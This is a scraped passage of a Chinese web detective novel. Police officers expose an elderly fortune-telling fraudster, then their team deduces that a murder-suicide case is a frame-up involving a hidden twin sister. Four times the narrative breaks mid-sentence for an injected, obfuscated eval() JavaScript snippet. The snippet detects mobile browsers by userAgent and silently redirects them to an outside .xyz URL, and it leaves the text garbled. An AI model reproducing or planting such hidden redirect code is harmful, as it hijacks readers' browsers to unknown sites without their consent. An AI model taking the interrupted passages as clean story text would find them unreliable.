高奶奶眉开眼笑:“这就对了嘛,做女人一定要心狠,你不狠一点,上天怎么会知道你的心意呢?你放心吧,奶奶一定帮你狠狠地扎,把这个死男人的五脏六腑都扎烂!” 高奶奶又说,看在桑落这么可怜的份上,她再赠桑落一套服务,桑落在心里嘀咕,这个骗子还挺注重情绪价值的,竟然还有赠品。 桑落付了钱,仪式正式开始,高奶奶仿佛换了一个人似的,嘴角瞬间耷拉下来,整个人显得面目可憎,像极了乡村电视剧里那种反派恶婆婆。 她先是交给桑落一张白纸,让桑落在纸上写下男人的名字,桑落随手编了一个名字,高奶奶接过那张纸,几下子就剪出了一个小人。 剪好之后,她把小人拿在手里,耷拉着脸,嘴里叽里咕噜吐出一大串骂人的方言,虽然桑落听不太懂,但也能猜到这些话的意思无比恶毒。 骂过之后,高奶奶把小人扔到地上,从柜子里拿出一个拖鞋,对着小纸人狠狠拍打起来,嘴里又换了一套骂人的话,这次桑落听懂了大概: “我打你个贱人!打烂你的脚,让你瘫痪在床!打烂你的腚,让你拉屎费劲!打烂你的X,让你断子绝孙!打烂你的腹,让你肠穿肚烂……” 一长串词过后,这个环节终于结束了,地上的小纸人从白色变成了灰色,高奶奶也累得气喘吁吁,手上那只拖鞋都被打断了。 “刚才是打小人,现在这叫踩小人——” 高奶奶站起身,郑重地介绍道。 只见她抖了抖衣服,换了一双厚鞋子,在地上开始蹦起来,一边蹦一边用全身的力气去踩地上的小纸人,嘴里还唱着:“我踩踩踩,踩扁你这个小贱人!踩得你天打雷劈,踩得你不得好死……” 高奶奶又蹦又跳,给旁边的师徒两人看得直冒冷汗,都怕她这个年纪出点什么事,没想到她每一步都踩得很稳,和刚进门时判若两人。 桑落心里默默吐槽,高奶奶都这个年纪了还能唱跳,属实是体力过人,比很多年轻人都强,如果生活在现代,她说不定能去闯一闯老年爱豆的赛道。 贫归贫,桑落也没忘了正经事,她目光紧盯着地面,地上有很多还没打扫的纸灰,看来那三个女孩鞋底的纸灰就是这么来的。 高奶奶一边踩一边超他们招手:“你们也一起来啊,踩的人越多效果就越好!你们不是很恨他吗?” 为了不露馅,师徒俩只好跟着上去踩了几脚。 踩小人过后,高奶奶用一根火柴点燃了地上的纸人:“这叫送小人,把小人送走,送到阴间地府去,以后你的身边就不会有小人缠身,你可以放心生活了。” 纸人在一瞬间就被烧成了灰烬,和地上的纸灰混在一起,看来满地的纸灰就是这么来的。 赠送的项目表演完之后,高奶奶开始正式为桑落表演起了扎小人,依旧是那一套流程,高奶奶从墙上摘下一个小人,桑落在上面写下那个虚构的名字,高奶奶就拿起银针,慢悠悠地扎向小人: “先扎你的嘴,令你有话说不出,活活憋死你!再扎你的眼,让你当个睁眼瞎,走路被车撞!又扎你的鼻,令你七窍流血……” 桑落的精神高度集中,静静地观察着老人手上的动作,她本以为老人会有团伙作案,老人对外传递消息,团伙去动手,没想到整个过程老人都在全神贯注地盯着手上的小人,手部除了扎针之外也没有其他动作,况且屋里根本没有其他人,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925829|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来是独居。 猜想又一次落空,桑落的心情跌到了谷底,高奶奶将小人的全身扎满细针,最后拿起窗边一壶金色的水,自己含了一口水在嘴里,用力喷向地面,示意整个做法过程结束。 杜美真鞋底的金色颗粒就是这么来的。 高奶奶笑容满面地把小人递给桑落: “给你,姑娘,可拿好了,回家以后摆在家里的正东方位,这个男人很快就会遭报应的,我刚才喷的是观音水,专门帮你辟邪用的,以后你身边百邪不侵,再也不会遇到这种事了!” 桑落没有去接小人,而是伸手拿出了手铐:“你利用封建迷信骗钱,人证物证具在,现在我们要逮捕你。” 马识途也说:“我们是刑警,跟我们回局里走一趟。” 一看到手铐,高奶奶吓得慌了神,立马就给两人跪下了:“警察同志,求求你们不要抓我,我也不想这样的,但是我没有办法,我这么老了,找不到事做,我那个儿子又不成器,好吃懒做,还喜欢赌博,欠了一屁股债,我如果不干这个,怎么给他还债呀!” 她说得可怜,马识途还是冷着脸把她带走了,毕竟法不容情,她确实是在用封建迷信骗人钱财,甚至还有人为此倾家荡产,无论任何事,都不能成为违法犯罪的借口。 在警车上,高奶奶戴着手铐,完全没有了刚才的神气劲,她一把鼻涕一把泪,哭哭啼啼地说:“警察同志,你一定要放我回去,我要挣钱的,如果没有我挣钱还债,我儿子怎么办呢?他还在外面躲债,那些债主找到他会打死他的!” 桑落忍不住说道:“这样不成器的儿子,你还管他干什么?” 高奶奶睁大眼睛:“我就这么一个儿子呀,他可是我们家的独苗苗,是我们老高家的根,我怎么能不管他?就算他再不成器,就算他杀人放火,我也要护着他!” 桑落又说:“你要挣钱难道就不能走正道,一定要靠这种骗人的法子吗?” 高奶奶又擦起了眼泪:“我这么大岁数了,还能干什么?体力活,我不行,我又没学历没文凭,不干这个干什么?况且我还要还债,必须找个来钱快的法子,除了骗人,也就卖身来钱快了,我实在是太老了,如果我年轻一些,为了我儿子,让我卖身我也肯去的……” 听到这话,桑落和师父都无话可说了,马识途把车开回公安局,把高奶奶交给了专门处理诈骗案的同事,处理完这件事之后,师父看出了桑落的情绪不高,于是便拍了拍她的肩膀,桑落自责地说: “我的猜想全是错的,对不起,师父,今天耽误了你的时间。” 马识途立刻说道:“这怎么能叫浪费时间?破案没有浪费时间这一说,我们只是排除了错误的调查方向而已,再说今天又不是毫无收获,我们可是破了一起封建迷信诈骗案呢!” “但是……”桑落还是情绪低落,“对这起杀人案没什么帮助,查来查去,一切又回到了原点。” “不,你帮我们找到了重要线索!” 马识途从口袋里掏出一个物证袋,里面是沈雪遥的半张照片:“你看,我们搜查到了这张照片,照片给我们提供了两个关键信息——” “一、在照片上沈雪遥是长指甲,她的手很白净漂亮,看得出她平时注重保养,而且她有留长指甲的习惯。” “二、照片上沈雪遥的肤色很白,不是化妆的原因,是她天生肤色白,但是尸体的肤色却很暗黄,是什么让她的肤色发生了这种变化?” “这些都是疑点,都需要我们去调查,查案路漫漫,不要气馁嘛——”马识途一边鼓励桑落,一边推开了办公室的门。 桑落眼前一亮,谢灵儿和袁小虎就在屋里,他们回来了,意味着DNA检测报告已经出来了! 13. 情侣吵架杀人案(13) “怎么样?”桑落一脸期待地问。 袁小虎欲言又止,把手中的文件袋递给桑落:“你还是自己看吧。” 看到袁小虎脸上的表情,桑落就知道事情不妙,她忐忑地打开文件袋,拿出里面的检测报告,仔细翻阅了起来,报告结果显示,沈雪遥尸体的指甲缝里残留的DNA正是杜凌风的,并且现场那把水果刀刀柄上的指纹也和沈雪遥的一致。 所以,那天晚上和杜凌风打架的就是沈雪遥,持刀杀人的也是沈雪遥,没有第三人出现,桑落心中暗道,难道从一开始就是我搞错了,这起案件中根本没有什么冤情? 马识途站在桑落身后,一眼就看到了报告结果,他脸上也露出失望,袁小虎小心翼翼地说: “那个……师父,还有一件事,我们回来的时候,廖队正好看到了这个结果,他让你到他的办公室去一趟。” 马识途的面色凝重起来,他一声不响,转身走进了隔壁廖队的办公室,果然,没一会隔壁就传来了震天响的吼声,廖队又把他臭骂一顿: “你们浪费时间浪费资源,去调查这样一起结果明摆着的案子,是不是嫌平时给你们安排的工作量不够?你这个当师父的一点都没有师父的样子,由着手底下的人胡来,破案不是这么破的,你们这是鸡蛋里挑骨头,明明真相已经水落石出,非要查来查去,拖了这么久不结案,还不是因为那个新人想表现自己……” 廖队是在指桑骂槐,桑落听得懂,她没有去争辩,强迫自己冷静下来,反复在脑中梳理着案情。 听见廖队的骂声,袁小虎和谢灵儿也是一脸沮丧,大家心里都不好受,为了转移话题,谢灵儿随手翻起了桑落白天调查杜美真时写下的笔录: “啧啧啧,这个妹妹对哥哥居然是这种感情……居然还用针扎小人,把这么多针放在床头,也不怕扎到自己,这孩子真是太可怕了……” 谢灵儿提到针,桑落忽然觉得脑中一震,仿佛想起了什么,她转头拿起本案的物证报告,飞快地翻阅起来,终于,她的手停在某一页,她用眼神反复确认那几行字,然后读了出来: “尸体附近发现一黑色垃圾桶,里面有袜子、菜叶、鸡蛋壳、针,还有饼干包装袋。” 袁小虎奇怪地看着她:“你突然念这个干什么,你……该不会是受什么刺激了吧?” “针,是针啊!”桑落强调道。 垃圾桶里为什么会有一根针?很可能是真凶用这根针把自己指甲里的血肉剔出来,然后塞入了沈雪遥的指甲缝里,最后随手把针扔掉的。 “凶手知道我们会查女尸指甲里的DNA,她已经料到了这一步,所以她提前做好了准备——”桑落拍案而起,“这是一个具有反侦察意识的凶手!” “太牵强了吧,凶手能懂得这么多?普通人连DNA是什么都不知道”袁小虎嘴角抽搐,“桑落,我劝你还是认清现实吧,这起案子的凶手从一开始就是沈雪遥。” 桑落没有动摇:“要证实我的猜想很简单,如果真是我说的那样,那么那根针上就应该带有血迹,如果我猜错了,针上就应该什么也没有。” “这还不简单,东西都在局里,看一眼就知道了!”袁小虎招招手,带着两人一起走向物证室。 物证室的东西都按编号排列,袁小虎很轻松就找到了这起案子的证物,他翻出那根针,隔着物证袋,小心翼翼地把针举了起来,放在灯光下看。 在灯光下,三人都看清了针尖上那一点黑色——那是已经干涸、发黑的血迹。 “我们可以再去做一次DNA检测,我敢肯定这就是杜凌风的血迹,是凶手在用这根针转移指甲缝中残留物时留下的。”桑落斩钉截铁地说。 谢灵儿面露难色:“可是……留给我们的时间不多了,刚才我路过廖队办公室的时候,听见廖队对师父说,要求师父明天早上必须提交结案报告,最迟明天,这起案子就结案了。” “那我们就在明天天亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925830|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前找出真凶!” 不知为何,一股莫名的勇气让桑落说出了这句话。 时间紧迫,肯定是要彻夜加班了,谢灵儿毫不犹豫地说:“好,我留下来陪你!” 两人一起看向袁小虎,这次加班不是领导要求的,而是桑落提出的,桑落本以为他会拒绝,没想到袁小虎眨了眨眼睛,竟然同意了:“我也留下。” “为什么,你不是不支持我的看法吗?”桑落不禁问道。 袁小虎拍了拍胸膛:“观点不同不要紧,最重要的是我们是一个团队,要共进退,你们留下我就留下,万一有需要用到体力的地方,我还能帮得上忙。” “谢谢!” 桑落简单地道了谢,又开始投入到案情中,留给她的时间不多了,她眼疾手快地翻看着证物,一样样东西过了她的眼,忽然,她的动作停了下来—— 自从看到案发现场后,她就一直有种奇怪的感觉,现在她终于明白是哪里奇怪了。 太干净了。 袁小虎看过去,发现桑落手里拿的是本案的凶器水果刀,她把物证袋放在手里,翻来覆去地看着那把刀的刀柄。 “今天我们已经去市里验过了,刀柄上有沈雪遥的指纹,你还是觉得有问题?”袁小虎问。 桑落点了点头:“你们不觉得,这把刀的刀柄太干净了吗?” 听她这么说,两人都凑过去看,桑落解释道:“沈雪遥上吊时穿的衣服溅满了血迹,袖口也浸满了血,我们可以推断,现场一定流了很多血,凶手捅下那一刀后,受害者的血液从刀尖一直流向刀柄,最后流到了凶手的袖口。” 桑落用清水模拟了一下这个过程,如她所说,水果刀的刀柄本应沾满鲜血,但是现在刀柄却只残留着很少的血迹。 受到启发,谢灵儿立刻明白了桑落的意思:“你是说,案发后刀柄被人擦拭过?” 桑落点点头:“我怀疑刀柄上沈雪遥的指纹,是被人刻意印上去的。” 14. 情侣吵架杀人案(14) “如果是这样,那就能说得通了,”谢灵儿脸色凝重,“其实还有另外一个疑点,我们本来想等你们回来一起讨论,但是师父突然被叫走,我没来得及说——” “指纹报告上说,刀柄上只发现了沈雪遥一个人的指纹,没有发现杜凌风的。” “当时两个人都拿过这把刀子,怎么会没有杜凌风的指纹呢?回来的路上我和小虎讨论过,小虎说,有可能是沈雪遥在争夺刀子的时候不小心抹去了杜凌风的指纹,但我们最终并没有定论。” “如果按照你的说法,这个疑点也可以解释得通了,凶手作案后擦拭过刀柄,擦去了上面自己和杜凌风的指纹,然后又强迫沈雪遥在上面留下指纹,这样就能成功把罪名嫁祸给沈雪遥!” “是的,”桑落下了定论,“这起案子里一定有第三个人存在,只是这第三个人目前还没有出现在我们视线里而已。” “这个真凶,我们就叫她代号A,A先是代替沈雪遥赴约,杀死杜凌风,随后返回粮油家属楼,擦去刀柄上的指纹,强迫沈雪遥握住这把刀子,留下她的指纹,然后用某件事威胁着沈雪遥上吊自杀,最后用这根针把自己指甲里残留的血肉转移到沈雪遥的指缝里,完成一场完美的嫁祸。” 桑落分析得头头是道,原本固执己见的袁小虎都被她说动了,他不禁皱起眉头:“如果真是你说的这样,这个A是谁呢?她必须要高挑纤细,有一头长发,还要和沈雪遥认识,能够在晚上敲开沈雪遥家的门,最后这个人要性格缜密,具有反侦察意识,她懂得这么多,大概率是个知识分子。” 谢灵儿托起下巴:“听上去A像是上过大学的女大学生,正好沈雪遥刚毕业不久,这个A会不会是她以前的同学?” 袁小虎连连点头:“对了,听你说过沈雪遥的室友都很讨厌她,说不定这几个室友也有嫌疑!” 谢灵儿灵光一闪,提出了自己的设想:“会不会是这样——沈雪遥和杜凌风两人在大学里是一对神仙眷侣,两人都长相出众,也不缺钱花,引起了很多人的嫉妒,这其中就有杜凌风的追求者,这个A在大学里单恋杜凌风,但是得不到回应,久而久之就心理变态,犯下了这起案件。” 桑落提出质疑:“但是之前你已经询问过她的大学同学了,所有同学都说沈雪遥性格孤僻,没有朋友,如果A是一位陌生的女同学,沈雪遥怎么会给对方开门呢?” “而且沈雪遥的几位室友现在都在外省工作,离白云县很远,她们要作案有很大的难度,假如室友真的恨沈雪遥恨到要杀了她的地步,为什么不在上学时动手,非要等到毕业后动手呢?” “或许是看到两人要结婚了,眼红了呗,”谢灵儿反问道,“现在除了这条线索,我们还有其他的调查方向吗?” 这句话把桑落给问住了,他们已经调查过这对情侣的关系网,并没有出现符合罪犯特征的嫌疑人,唯一接近的就是杜美真,但她还有不在场证明。 到底还有哪些调查方向?是不是有什么东西被遗漏了? 桑落在脑中拼命思考,突然,一个盲点在桑落脑中闪过。 杜凌风是喝醉了去赴约的,他七点到八点这段时间是在哪喝的酒?这段时间他都见了哪些人,说了哪些话? 这其中或许藏着重要线索,但是却被大家忽视了,幸好,现在意识到也不晚。 于是他们兵分两路,谢灵儿留在单位,继续打电话询问沈雪遥的大学同学,看看是否存在“情敌”之类的人物。 桑落和袁小虎则到了杜凌风的家门口,重新走了一遍从他家到吉祥街的路,桑落推断他喝酒的地方大概率就在这条路上。 两人慢悠悠地走着,桑落小心地观察四周,此刻已经到了晚上六点,天色乍黑,有些饭馆摆出了桌椅,供客人在外面坐着,尽管天气很冷,但烧烤摊之类的地方还是坐满了人。 “这两天以来他一直很愤怒,”桑落模拟着杜凌风当时的心情,“他发现了一件事情,是关于他女朋友的,但他不能对外人说,或许这个秘密很羞耻,就算是对自己的家人都不能说。” “他约好了和女友晚上八点见面,但是他晚上七点就出门了,他在某个地方喝得醉醺醺的,可能是因为他不愿意面对这场谈判,他需要酒来壮胆,他会去哪里喝酒呢?” 袁小虎设身处地地想了一下:“这样说的话,路边的每一家饭店都有可能,小卖铺也有可能,人心情不好的时候不会挑那么多的。” 桑落带了杜凌风的照片,两人拿着他的照片问遍了沿街的店铺,终于在一家烧烤店得到了肯定的回答。 “我见过这个人,没错,就是他!”烧烤店老板说道,“大概几天前吧,几点来的我记不清楚了,反正肯定是傍晚,当时天已经黑了,这个人在门前的摊位上坐着,我给他点菜,问他要什么,他一个菜也不点,只是蒙头喝啤酒。” “警察同志,你们说说,他不点菜还占了我的座位,这人是不是有病?我看他状态不对,就没和他吵架,让他坐下了,他自己带的啤酒喝完了,又从我这里买了几瓶,边哭边喝,很快也喝完了,我怕他闹事,还给他赠了一盘毛豆。” 桑落打断问道:“他状态不对,是哪种状态?” 老板压低了声音:“他眼睛是红的,一直低着头,问什么都不说话,简直——简直像是下一秒就要去砍人!” “他是一个人吗,没有任何朋友陪同?”桑落问。 老板摆摆手:“没有,他从头到尾都是一个人,也没和别人交谈,我特别留意来着。” 看来和桑落猜的一样,杜凌风当晚是在压抑伤心的状态下一个人来喝闷酒,并没有和朋友约好。 桑落:“他喝酒的时候,你有听到他说什么吗?” 老板搓手嘿嘿笑着,脸上露出八卦的表情:“有啊,那晚我上菜的时候刻意端着盘子从他身边路过好几回,听见几句,他断断续续说着什么——” 老板掐着嗓子学了起来:“他X的,居然一直在骗我……如果被别人知道,恐怕要笑死了……我真想……真想把他碎尸万段……这两个狗娘养的,我绝不会放过他们!” 听到最后一句,桑落的眼睛亮了,‘这两个’指的是谁? 桑落又盘问了一番,但是老板翻来覆去就是这些车轱辘话,他只知道这些,桑落只好谢过老板,带着袁小虎离开了。 回家的路上,袁小虎十分激动:“你瞧瞧,案情这不就水落石出了?” “什么?”桑落诧异地问道。 袁小虎一拍手说道:“这还用问啊?你想,老板说杜凌风怨恨的是两个人,杜凌风那晚突然去粮油家属楼想给沈雪遥一个惊喜,结果回来之后就要退婚,对沈雪遥的印象也变得十分恶劣,他肯定是那天晚上撞破了什么,再加上‘两个人’这个信息,杜凌风一定是撞破了沈雪遥的出轨现场!” “沈雪遥在外头有人,订婚之后还和外面的情夫私会,所以杜凌风才这么愤怒,他不肯告诉别人那晚发生了什么,因为他很羞耻,作为一个男人,他不想让别人知道自己戴了绿帽子!” “停!”桑落立刻喝止了他,“没有任何证据,怎么能凭空猜测死者出轨了呢?” “我只是说出我的猜想而已,难道我说的没有道理吗?”袁小虎很不服气,“如果不是出轨的话,那你倒是说说,杜凌风口中的‘他们两个’是指谁?他原本恨着自己的女朋友,怎么突然又多出来一个人?” “我……我现在也回答不了,我需要更多线索,先回局里吧,看看灵儿那边有没有什么收获。” 桑落裹紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925831|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大衣,快步往局里赶,夜越来越深,留给她的时间也越来越少。 两人回到三队的办公室,谢灵儿已经打完了电话,她一脸遗憾地对两人说道:“没有找到可疑人员,虽然学校里有女生喜欢过杜凌风,但也只是正常追求,追求不成就放弃了,并没有表现得特别偏激。” “不过,”她话锋一转,“有个意外收获,不知道和本案有没有关系——” “这次我特意问了关于肤色的问题,大部分同学都说沈雪遥的肤色一直很白,没什么变化,但是他们班的班长却说,沈雪遥的肤色是有点奇怪。” “大学刚开学的时候组织过一次新生的入学体检,当时班长负责收集每个同学的体检表,由于沈雪遥长得漂亮,班长对她印象很深刻,当时他看见的沈雪遥皮肤粗糙暗黄,结果第二天一起上课的时候,班长又看见了沈雪遥,这次她的皮肤竟然白得像雪一样,引得一众男生追求,后来甚至还有了白雪公主的称号。” “这件事一直让班长觉得很诧异,所以过去这么久了他还记得,他在电话里和我说,那绝不是化妆品的原因,至于到底是为什么,他也说不清,总之,沈雪遥一夜之间就像是换了一张皮一样。” 这不是医美,桑落在心里想,且不说这个年代的医美技术能不能做到,就算是能,沈雪遥这个农村女孩也掏不出那么一大笔钱去做医美。 排除了所有不可能,就只剩下一种可能—— “有两个沈雪遥!” 桑落和袁小虎同时喊了出来。 沈雪遥不是在一夜之间变得判若两人,而是她本来就是两个人,她还有一个双胞胎姐妹,大众平时看见的沈雪遥,其实是这对姐妹交替出现形成的,字典里提示的【替】可能就是这个意思。 竟然是双胞胎,桑落忍不住拍了一下自己的脑袋,这么常见的诡计,她怎么现在才想到! “是双胞胎,”桑落给谢灵儿解释道,“可能只有一个人考上了大学,但是两人都想上学,所以她们交替出现,所以沈雪遥的皮肤有时白有时黄。” 袁小虎激动地说:“这就解释了杜凌风那晚念叨的两个人究竟是谁,他怨恨的不是‘他们俩’,而是‘她们俩’!” 桑落点点头:“他想给女朋友一个惊喜,所以没打招呼就去了女朋友的住所,结果开门却看见两张一模一样的脸,他这才知道自己一直是在和两个人交往,所以他感觉受到了欺骗,说什么也要退婚。” “可是……户口本上写着沈雪遥是独生女啊……”谢灵儿提出疑问,不过她很快就回答了自己的疑问,“但是在农村,把孩子送人的事也很常见,或许是生了两个养不起,就送给隔壁邻居一个,这样的事情太多了。” “沈雪遥不是独生女,她父母生了一对双胞胎。”桑落肯定地说。 这样一来,案子的真凶就水落石出了,凶手A就是沈雪遥的双胞胎姐妹,她们长相一模一样,A杀了杜凌风,然后嫁祸给沈雪遥,只要找到A,就可以结案了。 桑落激动地抱住谢灵儿:“谢谢你,灵儿,你提供的线索真是太有用了!” 灵儿温柔一笑:“都是一个队的,说什么谢。” “眼下我们要做的,就是去找到这个A!”袁小虎斗志昂扬。 “A大概率是沈雪遥同村的村民,”桑落分析道,“A可能被登记在别人名下,可能跟了别人的姓,但她还在高粱村。” “为什么?”袁小虎问道。 桑落:“A能够和沈雪遥交替上学,交替恋爱,说明两人关系很亲密,很可能是一起长大的,沈雪遥在高粱村长大,A大概率也在高粱村长大。” 袁小虎点点头:“也就是说,只要在高粱村的登记人口里面找到和沈雪遥同年出生的女孩,我们就破案了!” 15. 情侣吵架杀人案(15) 三人相视一笑,顿时都有了信心,他们一起走进档案室,翻阅起高粱村的资料来,桑落之前来过,很快就找出了高粱村的户口登记簿,几人分工,把和沈雪遥年龄相近的人找出来,写在了一张纸上: 胡家成男22岁 刘建国男24岁 何旭男23岁 文成刚男22岁 孙冰远男21岁 孟佳女20岁 郭立业男22岁 由于农村的人上户口不太规范,所以这个A和沈雪遥差上一两岁也是有可能的,桑落拿着这张纸,看着上面密密麻麻的“男”字,不由得头皮发麻,如此夸张的男女比例,很难说不是人为选择的后果,看来老话“百家有女一家留”真不是开玩笑的。 男性被直接排除了,剩下的只有孟佳这一个可疑人选,桑落找到高粱村的补充材料,想要查看孟佳的具体信息,结果竟然发现孟佳早在去年六月就去世了,根本不可能是本案的凶手。 “难道我猜错了,A其实不在高粱村,而是被送去了其他地方?”桑落心里暗道。 袁小虎脸上的笑容僵住了,他本来以为这回十拿九稳了,没想到竟然会出现这样的情况,他挠了挠头,不知该说什么。 谢灵儿提议道:“会不会是这样?沈家一直没有给A上户口,A一直是个黑户!” 桑落摆了摆手:“我们在这里乱猜是没有意义的,眼下的当务之急是把沈雪遥的父母带回来审一审,小虎,麻烦你开车,我们去一趟高粱村。” 桑落不会开车,袁小虎一口答应了下来。 此时已经是晚上八点,几人都没有吃晚饭,大家也都饿了,袁小虎提议下楼吃碗面,他请客。 桑落也不多客气,跟着袁小虎走了,这家面馆就在公安局门口,名字叫牛老二拉面,店面虽然旧旧的,但是味道很香,平时同事们饿了经常会来这里对付一口。 一打开店门,一股热气就扑了出来,三人找地方落座,此时已经接近面馆的关门时间,店里只有他们一桌客人,袁小虎点了三碗牛肉拉面,老板很快就把面端了上来,或许是因为要关门了,老板在他们碗里放了几块很大的牛肉,把袁小虎眼都看圆了。 虽然很饿,但是面太烫,必须晾一晾,等待的功夫三人闲聊了起来,大家都默契地没有提案子,原本已经清晰的案情忽然又变得扑朔迷离,已经够让人糟心的了,还是说说别的吧。 谢灵儿说起她和林哥哥的恋情,上次巧克力被袁小虎偷吃之后,她把这件事写在了信上,刚刚寄出去,相信林哥哥看到信会给她买一块新的,他们这种跨国恋情,每次寄一封信都要等待好长时间。 袁小虎说起他妈妈最新研制的菜品,他妈新研究了一道芥末木耳拌竹笋,清清凉凉很爽口,一家人都称赞,他妈妈还好心分给了邻居们,结果木耳泡的时间太久,有毒了,让一条街的人都上吐下泻,当天晚上邻居们全都在县医院重聚了。 最后话题落到了桑落身上,她刚入职不久,大家都不了解她,谢灵儿问: “桑落,你入职表上写着你老家是村里的,那你现在住在哪?如果是租房的话,房租压力可不小,刚入职第一年薪水不高,你要是有需要,可以来我们家里住,我家有空房间。” 桑落摇摇头:“没关系,我虽然是村里的,但家在县里有房,我下班住自己家,不用租房。” 谢灵儿温柔一笑:“那就好,如果你要租房的话,第一年可真是太难熬了。” 桑落没太在意:“不管哪个行业,刚入职的新人都是收入最少的,租房肯定会有压力,等以后工龄上来了——” 说到这里,她忽然不动了,脸上表情直愣愣的,连眼睛也不眨。 袁小虎急忙凑过来问:“你怎么了,你别吓我啊!是不是破案压力太大了?你别担心,一会我给师父打个电话,替你请几天假,让你好好休息几天!” 桑落没有回答,一件事快速过了她的脑子。 即使她已经工作了,房租对她来说依然是不小的压力,那么对于农村出身的沈雪遥来说,租房压力应该更大,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925832|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况她是在市里租房,市里的房租更贵。 沈雪遥刚一开学就租了房子,那时她还没有和杜凌风恋爱,没有获得男友的资金帮助,租房的钱只可能是从家里拿的。 沈雪遥全家都在家务农,对于这样一个贫穷的农村家庭来说,房租无疑是一笔巨大的支出,家里能拿出这笔钱,说明父母一定很爱沈雪遥,但是后来沈雪遥去世,师父通知她父母来局里认尸,她的父母居然是那副态度,这根本不合理。 为什么她父母前后态度变化如此之大?为什么双胞胎姐妹的肤色会有这样的差异? 桑落全都想明白了。 “不吃了,”桑落扔下筷子站了起来,“我们现在就走,开车去高粱村!” “啊?”袁小虎一脸的不情愿,“这么好的面,不吃也太可惜了,反正沈雪遥的父母就在村里,早几分钟晚几分钟去也没什么区别,你急什么?” 桑落坚定地摇摇头:“去晚了,我怕事情有变,凶手潜藏在村里,随时有可能逃跑。” “啊?” 袁小虎和谢灵儿都露出惊讶的神色。 桑落重复了一遍:“没错,我们这次去不是要传唤沈雪遥的父母,而是要去直接逮捕真凶——我已经知道凶手是谁了!” 袁小虎目露疑惑:“怎么回事,怎么你突然就知道真凶是谁了?” 桑落挥挥手:“来不及了,路上再说!” 袁小虎委屈地摸上肚子:“可是我真的好饿啊!” 桑落直接问饭店老板买了几个肉包子,塞到袁小虎手里:“边走边吃。” 说罢,她拖着袁小虎出了门,剩谢灵儿一个人在店里,谢灵儿是文职,抓捕嫌犯这种事就不用带她了,袁小虎频频回头,不死心地朝店里喊: “灵儿,剩下的面条帮我打包!我回来还是要吃的!” 两人回到单位启动了车子,袁小虎几口吃完肉包,擦了擦手上的油,随后便握上了方向盘。 黑暗的夜色里,一轮明月高悬,两人开着车往高粱村飞奔而去。 16. 情侣吵架杀人案(16) 车子穿梭在一片黑暗的树林中,袁小虎叹了口气:“好了,我的祖宗,咱们已经在路上了,你现在能告诉我是怎么回事了吧?” 桑落没有回答,而是对袁小虎提出了一个问题:“你觉得沈雪遥上大学期间为什么要自己租房住?” 袁小虎想也没想就说:“这还用问,当然是为了方便她的姐妹住呗,她们姐妹两人交替上学,如果住宿舍的话很容易露馅,而且一个人住宿舍,另一个人就没地方住了,所以必须租房。” 桑落说:“但是沈家靠种地为生,拿一大笔钱供沈雪遥在市里租房也太奢侈了。” 袁小虎耸耸肩:“这有什么?咱们查资料的时候你注意到没,沈雪遥是村里唯一一个大学生,简直就是全村的希望呀!如果我是她父母,我卖血也要支持孩子!” “但是她的父母看上去对她似乎并不是很重视,”桑落又提出了质疑,“我们打电话通知她父母来认尸的时候,她妈妈简直对她的死毫不关心,甚至还说什么拿尸体去喂野狗也没关系。” 袁小虎没当回事:“就是想撇清关系呗,审讯的时候你也看到了,杜凌风他爸都快要杀人了,如果沈雪遥的父母敢露面,说不定真的会被杀死,我比你早工作一年,这种事情我见多了,活着的时候关系再好,死了都是人走茶凉。” “还有一个很小的细节,”桑落回忆道,“所有同学都说沈雪遥的皮肤一直很白,但是只有班长说,他见过两个肤色的沈雪遥,你不觉得奇怪吗?” “对哦,”袁小虎开始思考,“那个皮肤暗黄的女尸是真正的沈雪遥,我们推测她有个皮肤雪白的双胞胎姐妹A,如果是两个人交替上学,应该会有很多同学看见沈雪遥的皮肤黄一阵白一阵的,再加上她长得美貌,引人注目,应该会有不少人记得,但是只有班长提出了这一点,难道班长在说谎?” 